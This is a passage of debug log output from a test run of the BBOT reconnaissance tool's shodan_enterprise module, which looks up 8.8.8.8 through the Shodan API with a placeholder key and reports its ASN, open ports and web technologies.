22:12:18,621 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 22:12:18,621 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 22:12:18,621 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 22:12:18,621 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 22:12:18,621 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 22:12:18,622 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 22:12:18,622 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 22:12:18,622 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 22:12:18,622 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 22:12:18,622 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 22:12:18,624 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 22:12:18,624 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 22:12:18,624 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 22:12:18,770 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_aentd9mitw +2026-02-27 22:12:18,770 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 22:12:18,881 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 22:12:18,882 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 22:12:18,882 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 22:12:18,884 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 22:12:18,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:12:18,986 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:12:18,987 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:12:18,988 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check +2026-02-27 22:12:18,988 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 22:12:18,990 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:12:18,991 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:12:18,991 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target +2026-02-27 22:12:18,993 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:12:18,994 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:12:18,994 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:12:18,995 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:12:18,995 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:12:18,996 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:12:18,997 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 22:12:19,003 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:12:19,003 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:12:19,004 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:12:19,005 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:12:19,005 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-02-27 22:12:19,006 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-02-27 22:12:19,006 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-02-27 22:12:19,007 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:12:19,007 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:12:19,011 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 22:12:19,106 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 22:12:19,109 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:12:19,110 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 22:12:19,111 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:12:19,111 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-02-27 22:12:19,111 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:12:19,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:12:19,112 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:12:19,113 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:12:19,114 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,114 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,115 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:12:19,116 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:12:19,117 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:12:19,117 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:12:19,118 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:12:19,118 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-02-27 22:12:19,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:12:19,120 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,121 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,122 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) in-scope because its main host matches the scan target +2026-02-27 22:12:19,122 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:12:19,123 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 22:12:19,123 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:12:19,124 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:12:19,124 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:12:19,124 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,125 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-02-27 22:12:19,125 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:12:19,126 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) in-scope because its main host matches the scan target +2026-02-27 22:12:19,127 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,127 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:12:19,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:12:19,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:12:19,130 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:12:19,131 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:12:19,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,132 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:12:19,132 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-02-27 22:12:19,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:12:19,133 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,133 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,134 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,134 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:12:19,135 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,135 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,136 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:12:19,136 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:12:19,137 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) because precheck succeeded +2026-02-27 22:12:19,137 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:12:19,138 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:12:19,138 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,139 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,139 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,139 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,140 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:12:19,140 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) because precheck succeeded +2026-02-27 22:12:19,141 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,141 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,142 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,142 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,143 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:12:19,143 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,144 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,144 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:12:19,145 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:12:19,212 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 22:12:19,213 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:12:19,214 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:12:19,215 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,215 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) from shodan_enterprise +2026-02-27 22:12:19,216 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-02-27 22:12:19,217 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) from shodan_enterprise +2026-02-27 22:12:19,218 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:12:19,220 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:12:19,221 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,222 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:12:19,222 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:12:19,223 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 22:12:19,224 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 22:12:19,225 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 22:12:19,226 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 22:12:19,226 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 22:12:19,227 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 22:12:19,227 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 22:12:19,227 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 22:12:19,328 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 22:12:19,328 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 22:12:19,344 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 22:12:19,345 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 22:12:19,346 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 22:12:19,352 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 22:12:19,353 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 22:12:19,354 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 22:12:19,355 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 22:12:19,356 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 22:12:19,357 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 22:12:19,494 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_aentd9mitw completed in 0 seconds with status FINISHED +2026-02-27 22:12:19,494 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 22:12:19,495 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:12:19,497 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events +2026-02-27 22:12:19,498 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-02-27 22:13:55,889 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 22:13:55,904 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 22:13:55,905 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 22:13:55,906 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 22:13:55,907 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 22:13:55,908 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 22:13:55,909 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 22:13:55,911 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 22:13:55,913 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 22:13:55,914 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 22:13:55,916 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 22:13:55,917 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 22:13:55,923 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 22:13:55,924 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 22:13:55,925 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 22:13:55,926 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 22:13:55,928 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 22:13:55,929 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache 